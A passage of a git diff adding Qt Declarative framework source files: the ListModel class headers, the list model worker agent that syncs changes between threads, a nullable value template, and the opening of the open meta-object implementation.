+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVELISTMODEL_H
+#define QDECLARATIVELISTMODEL_H
+
+#include <qdeclarative.h>
+#include <private/qdeclarativecustomparser_p.h>
+
+#include <QtCore/QObject>
+#include <QtCore/QStringList>
+#include <QtCore/QHash>
+#include <QtCore/QList>
+#include <QtCore/QVariant>
+#include <private/qlistmodelinterface_p.h>
+#include <QtScript/qscriptvalue.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class FlatListModel;
+class NestedListModel;
+class QDeclarativeListModelWorkerAgent;
+struct ModelNode;
+class FlatListScriptClass;
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeListModel : public QListModelInterface
+{
+ Q_OBJECT
+ Q_PROPERTY(int count READ count NOTIFY countChanged)
+
+public:
+ QDeclarativeListModel(QObject *parent=0);
+ ~QDeclarativeListModel();
+
+ virtual QList<int> roles() const;
+ virtual QString toString(int role) const;
+ virtual int count() const;
+ virtual QVariant data(int index, int role) const;
+
+ Q_INVOKABLE void clear();
+ Q_INVOKABLE void remove(int index);
+ Q_INVOKABLE void append(const QScriptValue&);
+ Q_INVOKABLE void insert(int index, const QScriptValue&);
+ Q_INVOKABLE QScriptValue get(int index) const;
+ Q_INVOKABLE void set(int index, const QScriptValue&);
+ Q_INVOKABLE void setProperty(int index, const QString& property, const QVariant& value);
+ Q_INVOKABLE void move(int from, int to, int count);
+ Q_INVOKABLE void sync();
+
+ QDeclarativeListModelWorkerAgent *agent();
+
+Q_SIGNALS:
+ void countChanged();
+
+private:
+ friend class QDeclarativeListModelParser;
+ friend class QDeclarativeListModelWorkerAgent;
+ friend class FlatListModel;
+ friend class FlatListScriptClass;
+ friend struct ModelNode;
+
+ // Constructs a flat list model for a worker agent
+ QDeclarativeListModel(const QDeclarativeListModel *orig, QDeclarativeListModelWorkerAgent *parent);
+
+ void set(int index, const QScriptValue&, QList<int> *roles);
+ void setProperty(int index, const QString& property, const QVariant& value, QList<int> *roles);
+
+ bool flatten();
+ bool inWorkerThread() const;
+
+ inline bool canMove(int from, int to, int n) const { return !(from+n > count() || to+n > count() || from < 0 || to < 0 || n < 0); }
+
+ QDeclarativeListModelWorkerAgent *m_agent;
+ NestedListModel *m_nested;
+ FlatListModel *m_flat;
+};
+
+// ### FIXME
+class QDeclarativeListElement : public QObject
+{
+Q_OBJECT
+};
+
+class QDeclarativeListModelParser : public QDeclarativeCustomParser
+{
+public:
+ QByteArray compile(const QList<QDeclarativeCustomParserProperty> &);
+ void setCustomData(QObject *, const QByteArray &);
+
+private:
+ struct ListInstruction
+ {
+ enum { Push, Pop, Value, Set } type;
+ int dataIdx;
+ };
+ struct ListModelData
+ {
+ int dataOffset;
+ int instrCount;
+ ListInstruction *instructions() const;
+ };
+ bool compileProperty(const QDeclarativeCustomParserProperty &prop, QList<ListInstruction> &instr, QByteArray &data);
+
+ bool definesEmptyList(const QString &);
+
+ QByteArray listElementTypeName;
+};
+
+
+QT_END_NAMESPACE
+
+QML_DECLARE_TYPE(QDeclarativeListModel)
+QML_DECLARE_TYPE(QDeclarativeListElement)
+
+QT_END_HEADER
+
+#endif // QDECLARATIVELISTMODEL_H
diff --git a/src/declarative/util/qdeclarativelistmodel_p_p.h b/src/declarative/util/qdeclarativelistmodel_p_p.h
new file mode 100644
index 00000000..c5a897c3
--- /dev/null
+++ b/src/declarative/util/qdeclarativelistmodel_p_p.h
@@ -0,0 +1,281 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVELISTMODEL_P_P_H
+#define QDECLARATIVELISTMODEL_P_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "private/qdeclarativelistmodel_p.h"
+#include "private/qdeclarativeengine_p.h"
+#include "private/qdeclarativeopenmetaobject_p.h"
+#include "qdeclarative.h"
+
+#include <private/qscriptdeclarativeclass_p.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeOpenMetaObject;
+class QScriptEngine;
+class QDeclarativeListModelWorkerAgent;
+struct ModelNode;
+class FlatListScriptClass;
+class FlatNodeData;
+
+class FlatListModel
+{
+public:
+ FlatListModel(QDeclarativeListModel *base);
+ ~FlatListModel();
+
+ QVariant data(int index, int role) const;
+
+ QList<int> roles() const;
+ QString toString(int role) const;
+
+ int count() const;
+ void clear();
+ void remove(int index);
+ bool insert(int index, const QScriptValue&);
+ QScriptValue get(int index) const;
+ void set(int index, const QScriptValue&, QList<int> *roles);
+ void setProperty(int index, const QString& property, const QVariant& value, QList<int> *roles);
+ void move(int from, int to, int count);
+
+private:
+ friend class QDeclarativeListModelWorkerAgent;
+ friend class QDeclarativeListModel;
+ friend class FlatListScriptClass;
+ friend class FlatNodeData;
+
+ bool addValue(const QScriptValue &value, QHash<int, QVariant> *row, QList<int> *roles);
+ void insertedNode(int index);
+ void removedNode(int index);
+ void moveNodes(int from, int to, int n);
+
+ QScriptEngine *m_scriptEngine;
+ QHash<int, QString> m_roles;
+ QHash<QString, int> m_strings;
+ QList<QHash<int, QVariant> > m_values;
+ QDeclarativeListModel *m_listModel;
+
+ FlatListScriptClass *m_scriptClass;
+ QList<FlatNodeData *> m_nodeData;
+ QDeclarativeListModelWorkerAgent *m_parentAgent;
+};
+
+
+/*
+ Created when get() is called on a FlatListModel. This allows changes to the
+ object returned by get() to be tracked, and passed onto the model.
+*/
+class FlatListScriptClass : public QScriptDeclarativeClass
+{
+public:
+ FlatListScriptClass(FlatListModel *model, QScriptEngine *seng);
+
+ Value property(Object *, const Identifier &);
+ void setProperty(Object *, const Identifier &name, const QScriptValue &);
+ QScriptClass::QueryFlags queryProperty(Object *, const Identifier &, QScriptClass::QueryFlags flags);
+ bool compare(Object *, Object *);
+
+private:
+ FlatListModel *m_model;
+};
+
+/*
+ FlatNodeData and FlatNodeObjectData allow objects returned by get() to still
+ point to the correct list index if move(), insert() or remove() are called.
+*/
+struct FlatNodeObjectData;
+class FlatNodeData
+{
+public:
+ FlatNodeData(int i)
+ : index(i) {}
+
+ ~FlatNodeData();
+
+ void addData(FlatNodeObjectData *data);
+ void removeData(FlatNodeObjectData *data);
+
+ int index;
+
+private:
+ QSet<FlatNodeObjectData*> objects;
+};
+
+struct FlatNodeObjectData : public QScriptDeclarativeClass::Object
+{
+ FlatNodeObjectData(FlatNodeData *data) : nodeData(data) {
+ nodeData->addData(this);
+ }
+
+ ~FlatNodeObjectData() {
+ if (nodeData)
+ nodeData->removeData(this);
+ }
+
+ FlatNodeData *nodeData;
+};
+
+
+
+class NestedListModel
+{
+public:
+ NestedListModel(QDeclarativeListModel *base);
+ ~NestedListModel();
+
+ QHash<int,QVariant> data(int index, const QList<int> &roles, bool *hasNested = 0) const;
+ QVariant data(int index, int role) const;
+
+ QList<int> roles() const;
+ QString toString(int role) const;
+
+ int count() const;
+ void clear();
+ void remove(int index);
+ bool insert(int index, const QScriptValue&);
+ QScriptValue get(int index) const;
+ void set(int index, const QScriptValue&, QList<int> *roles);
+ void setProperty(int index, const QString& property, const QVariant& value, QList<int> *roles);
+ void move(int from, int to, int count);
+
+ QVariant valueForNode(ModelNode *, bool *hasNested = 0) const;
+ void checkRoles() const;
+
+ ModelNode *_root;
+ bool m_ownsRoot;
+ QDeclarativeListModel *m_listModel;
+
+private:
+ friend struct ModelNode;
+ mutable QStringList roleStrings;
+ mutable bool _rolesOk;
+};
+
+
+class ModelNodeMetaObject;
+class ModelObject : public QObject
+{
+ Q_OBJECT
+public:
+ ModelObject(ModelNode *node, NestedListModel *model, QScriptEngine *seng);
+ void setValue(const QByteArray &name, const QVariant &val);
+ void setNodeUpdatesEnabled(bool enable);
+
+ NestedListModel *m_model;
+ ModelNode *m_node;
+
+private:
+ ModelNodeMetaObject *m_meta;
+};
+
+class ModelNodeMetaObject : public QDeclarativeOpenMetaObject
+{
+public:
+ ModelNodeMetaObject(QScriptEngine *seng, ModelObject *object);
+
+ bool m_enabled;
+
+protected:
+ void propertyWritten(int index);
+
+private:
+ QScriptEngine *m_seng;
+ ModelObject *m_obj;
+};
+
+
+/*
+ A ModelNode is created for each item in a NestedListModel.
+*/
+struct ModelNode
+{
+ ModelNode(NestedListModel *model);
+ ~ModelNode();
+
+ QList<QVariant> values;
+ QHash<QString, ModelNode *> properties;
+
+ void clear();
+
+ QDeclarativeListModel *model(const NestedListModel *model);
+ ModelObject *object(const NestedListModel *model);
+
+ bool setObjectValue(const QScriptValue& valuemap, bool writeToCache = true);
+ void setListValue(const QScriptValue& valuelist);
+ bool setProperty(const QString& prop, const QVariant& val);
+ void changedProperty(const QString &name) const;
+ void updateListIndexes();
+ static void dump(ModelNode *node, int ind);
+
+ QDeclarativeListModel *modelCache;
+ ModelObject *objectCache;
+ bool isArray;
+
+ NestedListModel *m_model;
+ int listIndex; // only used for top-level nodes within a list
+};
+
+
+QT_END_NAMESPACE
+
+Q_DECLARE_METATYPE(ModelNode *)
+
+QT_END_HEADER
+
+#endif // QDECLARATIVELISTMODEL_P_P_H
+
diff --git a/src/declarative/util/qdeclarativelistmodelworkeragent.cpp b/src/declarative/util/qdeclarativelistmodelworkeragent.cpp
new file mode 100644
index 00000000..5422eb64
--- /dev/null
+++ b/src/declarative/util/qdeclarativelistmodelworkeragent.cpp
@@ -0,0 +1,278 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativelistmodelworkeragent_p.h"
+#include "private/qdeclarativelistmodel_p_p.h"
+#include "private/qdeclarativedata_p.h"
+#include "private/qdeclarativeengine_p.h"
+#include "qdeclarativeinfo.h"
+
+#include <QtCore/qcoreevent.h>
+#include <QtCore/qcoreapplication.h>
+#include <QtCore/qdebug.h>
+
+
+QT_BEGIN_NAMESPACE
+
+
+void QDeclarativeListModelWorkerAgent::Data::clearChange()
+{
+ changes.clear();
+}
+
+void QDeclarativeListModelWorkerAgent::Data::insertChange(int index, int count)
+{
+ Change c = { Change::Inserted, index, count, 0, QList<int>() };
+ changes << c;
+}
+
+void QDeclarativeListModelWorkerAgent::Data::removeChange(int index, int count)
+{
+ Change c = { Change::Removed, index, count, 0, QList<int>() };
+ changes << c;
+}
+
+void QDeclarativeListModelWorkerAgent::Data::moveChange(int index, int count, int to)
+{
+ Change c = { Change::Moved, index, count, to, QList<int>() };
+ changes << c;
+}
+
+void QDeclarativeListModelWorkerAgent::Data::changedChange(int index, int count, const QList<int> &roles)
+{
+ Change c = { Change::Changed, index, count, 0, roles };
+ changes << c;
+}
+
+QDeclarativeListModelWorkerAgent::QDeclarativeListModelWorkerAgent(QDeclarativeListModel *model)
+ : m_engine(0),
+ m_ref(1),
+ m_orig(model),
+ m_copy(new QDeclarativeListModel(model, this))
+{
+}
+
+QDeclarativeListModelWorkerAgent::~QDeclarativeListModelWorkerAgent()
+{
+}
+
+void QDeclarativeListModelWorkerAgent::setScriptEngine(QScriptEngine *eng)
+{
+ m_engine = eng;
+ if (m_copy->m_flat)
+ m_copy->m_flat->m_scriptEngine = eng;
+}
+
+QScriptEngine *QDeclarativeListModelWorkerAgent::scriptEngine() const
+{
+ return m_engine;
+}
+
+void QDeclarativeListModelWorkerAgent::addref()
+{
+ m_ref.ref();
+}
+
+void QDeclarativeListModelWorkerAgent::release()
+{
+ bool del = !m_ref.deref();
+
+ if (del)
+ delete this;
+}
+
+int QDeclarativeListModelWorkerAgent::count() const
+{
+ return m_copy->count();
+}
+
+void QDeclarativeListModelWorkerAgent::clear()
+{
+ data.clearChange();
+ data.removeChange(0, m_copy->count());
+ m_copy->clear();
+}
+
+void QDeclarativeListModelWorkerAgent::remove(int index)
+{
+ int count = m_copy->count();
+ m_copy->remove(index);
+
+ if (m_copy->count() != count)
+ data.removeChange(index, 1);
+}
+
+void QDeclarativeListModelWorkerAgent::append(const QScriptValue &value)
+{
+ int count = m_copy->count();
+ m_copy->append(value);
+
+ if (m_copy->count() != count)
+ data.insertChange(m_copy->count() - 1, 1);
+}
+
+void QDeclarativeListModelWorkerAgent::insert(int index, const QScriptValue &value)
+{
+ int count = m_copy->count();
+ m_copy->insert(index, value);
+
+ if (m_copy->count() != count)
+ data.insertChange(index, 1);
+}
+
+QScriptValue QDeclarativeListModelWorkerAgent::get(int index) const
+{
+ return m_copy->get(index);
+}
+
+void QDeclarativeListModelWorkerAgent::set(int index, const QScriptValue &value)
+{
+ QList<int> roles;
+ m_copy->set(index, value, &roles);
+ if (!roles.isEmpty())
+ data.changedChange(index, 1, roles);
+}
+
+void QDeclarativeListModelWorkerAgent::setProperty(int index, const QString& property, const QVariant& value)
+{
+ QList<int> roles;
+ m_copy->setProperty(index, property, value, &roles);
+ if (!roles.isEmpty())
+ data.changedChange(index, 1, roles);
+}
+
+void QDeclarativeListModelWorkerAgent::move(int from, int to, int count)
+{
+ m_copy->move(from, to, count);
+ data.moveChange(from, to, count);
+}
+
+void QDeclarativeListModelWorkerAgent::sync()
+{
+ Sync *s = new Sync;
+ s->data = data;
+ s->list = m_copy;
+ data.changes.clear();
+
+ mutex.lock();
+ QCoreApplication::postEvent(this, s);
+ syncDone.wait(&mutex);
+ mutex.unlock();
+}
+
+void QDeclarativeListModelWorkerAgent::changedData(int index, int count, const QList<int> &roles)
+{
+ data.changedChange(index, count, roles);
+}
+
+bool QDeclarativeListModelWorkerAgent::event(QEvent *e)
+{
+ if (e->type() == QEvent::User) {
+ QMutexLocker locker(&mutex);
+ Sync *s = static_cast<Sync *>(e);
+
+ const QList<Change> &changes = s->data.changes;
+
+ if (m_copy) {
+ bool cc = m_orig->count() != s->list->count();
+
+ FlatListModel *orig = m_orig->m_flat;
+ FlatListModel *copy = s->list->m_flat;
+ if (!orig || !copy) {
+ syncDone.wakeAll();
+ return QObject::event(e);
+ }
+
+ orig->m_roles = copy->m_roles;
+ orig->m_strings = copy->m_strings;
+ orig->m_values = copy->m_values;
+
+ // update the orig->m_nodeData list
+ for (int ii = 0; ii < changes.count(); ++ii) {
+ const Change &change = changes.at(ii);
+ switch (change.type) {
+ case Change::Inserted:
+ orig->insertedNode(change.index);
+ break;
+ case Change::Removed:
+ orig->removedNode(change.index);
+ break;
+ case Change::Moved:
+ orig->moveNodes(change.index, change.to, change.count);
+ break;
+ case Change::Changed:
+ break;
+ }
+ }
+
+ syncDone.wakeAll();
+ locker.unlock();
+
+ for (int ii = 0; ii < changes.count(); ++ii) {
+ const Change &change = changes.at(ii);
+ switch (change.type) {
+ case Change::Inserted:
+ emit m_orig->itemsInserted(change.index, change.count);
+ break;
+ case Change::Removed:
+ emit m_orig->itemsRemoved(change.index, change.count);
+ break;
+ case Change::Moved:
+ emit m_orig->itemsMoved(change.index, change.to, change.count);
+ break;
+ case Change::Changed:
+ emit m_orig->itemsChanged(change.index, change.count, change.roles);
+ break;
+ }
+ }
+
+ if (cc)
+ emit m_orig->countChanged();
+ } else {
+ syncDone.wakeAll();
+ }
+ }
+
+ return QObject::event(e);
+}
+
+QT_END_NAMESPACE
+
diff --git a/src/declarative/util/qdeclarativelistmodelworkeragent_p.h b/src/declarative/util/qdeclarativelistmodelworkeragent_p.h
new file mode 100644
index 00000000..3c1181d8
--- /dev/null
+++ b/src/declarative/util/qdeclarativelistmodelworkeragent_p.h
@@ -0,0 +1,163 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVELISTMODELWORKERAGENT_P_H
+#define QDECLARATIVELISTMODELWORKERAGENT_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "qdeclarative.h"
+
+#include <QtScript/qscriptvalue.h>
+#include <QtGui/qevent.h>
+#include <QMutex>
+#include <QWaitCondition>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeListModel;
+class FlatListScriptClass;
+
+class QDeclarativeListModelWorkerAgent : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(int count READ count)
+
+public:
+ QDeclarativeListModelWorkerAgent(QDeclarativeListModel *);
+ ~QDeclarativeListModelWorkerAgent();
+
+ void setScriptEngine(QScriptEngine *eng);
+ QScriptEngine *scriptEngine() const;
+
+ void addref();
+ void release();
+
+ int count() const;
+
+ Q_INVOKABLE void clear();
+ Q_INVOKABLE void remove(int index);
+ Q_INVOKABLE void append(const QScriptValue &);
+ Q_INVOKABLE void insert(int index, const QScriptValue&);
+ Q_INVOKABLE QScriptValue get(int index) const;
+ Q_INVOKABLE void set(int index, const QScriptValue &);
+ Q_INVOKABLE void setProperty(int index, const QString& property, const QVariant& value);
+ Q_INVOKABLE void move(int from, int to, int count);
+ Q_INVOKABLE void sync();
+
+ struct VariantRef
+ {
+ VariantRef() : a(0) {}
+ VariantRef(const VariantRef &r) : a(r.a) { if (a) a->addref(); }
+ VariantRef(QDeclarativeListModelWorkerAgent *_a) : a(_a) { if (a) a->addref(); }
+ ~VariantRef() { if (a) a->release(); }
+
+ VariantRef &operator=(const VariantRef &o) {
+ if (o.a) o.a->addref();
+ if (a) a->release(); a = o.a;
+ return *this;
+ }
+
+ QDeclarativeListModelWorkerAgent *a;
+ };
+protected:
+ virtual bool event(QEvent *);
+
+private:
+ friend class QDeclarativeWorkerScriptEnginePrivate;
+ friend class FlatListScriptClass;
+ QScriptEngine *m_engine;
+
+ struct Change {
+ enum { Inserted, Removed, Moved, Changed } type;
+ int index; // Inserted/Removed/Moved/Changed
+ int count; // Inserted/Removed/Moved/Changed
+ int to; // Moved
+ QList<int> roles;
+ };
+
+ struct Data {
+ QList<Change> changes;
+
+ void clearChange();
+ void insertChange(int index, int count);
+ void removeChange(int index, int count);
+ void moveChange(int index, int count, int to);
+ void changedChange(int index, int count, const QList<int> &roles);
+ };
+ Data data;
+
+ struct Sync : public QEvent {
+ Sync() : QEvent(QEvent::User) {}
+ Data data;
+ QDeclarativeListModel *list;
+ };
+
+ void changedData(int index, int count, const QList<int> &roles);
+
+ QAtomicInt m_ref;
+ QDeclarativeListModel *m_orig;
+ QDeclarativeListModel *m_copy;
+ QMutex mutex;
+ QWaitCondition syncDone;
+};
+
+QT_END_NAMESPACE
+
+Q_DECLARE_METATYPE(QDeclarativeListModelWorkerAgent::VariantRef)
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEWORKERSCRIPT_P_H
+
diff --git a/src/declarative/util/qdeclarativenullablevalue_p_p.h b/src/declarative/util/qdeclarativenullablevalue_p_p.h
new file mode 100644
index 00000000..5d04f53b
--- /dev/null
+++ b/src/declarative/util/qdeclarativenullablevalue_p_p.h
@@ -0,0 +1,81 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVENULLABLEVALUE_P_H
+#define QDECLARATIVENULLABLEVALUE_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+QT_BEGIN_NAMESPACE
+
+template<typename T>
+struct QDeclarativeNullableValue
+{
+ QDeclarativeNullableValue()
+ : isNull(true), value(T()) {}
+ QDeclarativeNullableValue(const QDeclarativeNullableValue<T> &o)
+ : isNull(o.isNull), value(o.value) {}
+ QDeclarativeNullableValue(const T &t)
+ : isNull(false), value(t) {}
+ QDeclarativeNullableValue<T> &operator=(const T &t)
+ { isNull = false; value = t; return *this; }
+ QDeclarativeNullableValue<T> &operator=(const QDeclarativeNullableValue<T> &o)
+ { isNull = o.isNull; value = o.value; return *this; }
+ operator T() const { return value; }
+
+ void invalidate() { isNull = true; }
+ bool isValid() const { return !isNull; }
+ bool isNull;
+ T value;
+};
+
+QT_END_NAMESPACE
+
+#endif // QDECLARATIVENULLABLEVALUE_P_H
diff --git a/src/declarative/util/qdeclarativeopenmetaobject.cpp b/src/declarative/util/qdeclarativeopenmetaobject.cpp
new file mode 100644
index 00000000..6290bf93
--- /dev/null
+++ b/src/declarative/util/qdeclarativeopenmetaobject.cpp
@@ -0,0 +1,380 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativeopenmetaobject_p.h"
+#include "private/qdeclarativepropertycache_p.h"
+#include "private/qdeclarativedata_p.h"
+#include <qmetaobjectbuilder_p.h>
+#include <qdebug.h>
+
+QT_BEGIN_NAMESPACE
+
+
+class QDeclarativeOpenMetaObjectTypePrivate
+{
+public:
+ QDeclarativeOpenMetaObjectTypePrivate() : mem(0), cache(0), engine(0) {}
+
+ void init(const QMetaObject *metaObj);
+
+ int propertyOffset;
+ int signalOffset;
+ QHash<QByteArray, int> names;
+ QMetaObjectBuilder mob;
+ QMetaObject *mem;
+ QDeclarativePropertyCache *cache;
+ QDeclarativeEngine *engine;
+ QSet<QDeclarativeOpenMetaObject*> referers;
+};
+
+QDeclarativeOpenMetaObjectType::QDeclarativeOpenMetaObjectType(const QMetaObject *base, QDeclarativeEngine *engine)
+ : d(new QDeclarativeOpenMetaObjectTypePrivate)
+{
+ d->engine = engine;
+ d->init(base);
+}
+
+QDeclarativeOpenMetaObjectType::~QDeclarativeOpenMetaObjectType()
+{
+ if (d->mem)
+ qFree(d->mem);
+ if (d->cache)
+ d->cache->release();
+ delete d;
+}
+
+
+int QDeclarativeOpenMetaObjectType::propertyOffset() const
+{
+ return d->propertyOffset;
+}
+
+int QDeclarativeOpenMetaObjectType::signalOffset() const
+{
+ return d->signalOffset;
+}
+
+int QDeclarativeOpenMetaObjectType::createProperty(const QByteArray &name)
+{
+ int id = d->mob.propertyCount();
+ d->mob.addSignal("__" + QByteArray::number(id) + "()");
+ QMetaPropertyBuilder build = d->mob.addProperty(name, "QVariant", id);
+ propertyCreated(id, build);
+ qFree(d->mem);
+ d->mem = d->mob.toMetaObject();
+ d->names.insert(name, id);
+ QSet<QDeclarativeOpenMetaObject*>::iterator it = d->referers.begin();
+ while (it != d->referers.end()) {
+ QDeclarativeOpenMetaObject *omo = *it;
+ *static_cast<QMetaObject *>(omo) = *d->mem;
+ if (d->cache)
+ d->cache->update(d->engine, omo);
+ ++it;
+ }
+
+ return d->propertyOffset + id;
+}
+
+void QDeclarativeOpenMetaObjectType::propertyCreated(int id, QMetaPropertyBuilder &builder)
+{
+ if (d->referers.count())
+ (*d->referers.begin())->propertyCreated(id, builder);
+}
+
+void QDeclarativeOpenMetaObjectTypePrivate::init(const QMetaObject *metaObj)
+{
+ if (!mem) {
+ mob.setSuperClass(metaObj);
+ mob.setClassName(metaObj->className());
+ mob.setFlags(QMetaObjectBuilder::DynamicMetaObject);
+
+ mem = mob.toMetaObject();
+
+ propertyOffset = mem->propertyOffset();
+ signalOffset = mem->methodOffset();
+ }
+}
+
+//----------------------------------------------------------------------------
+
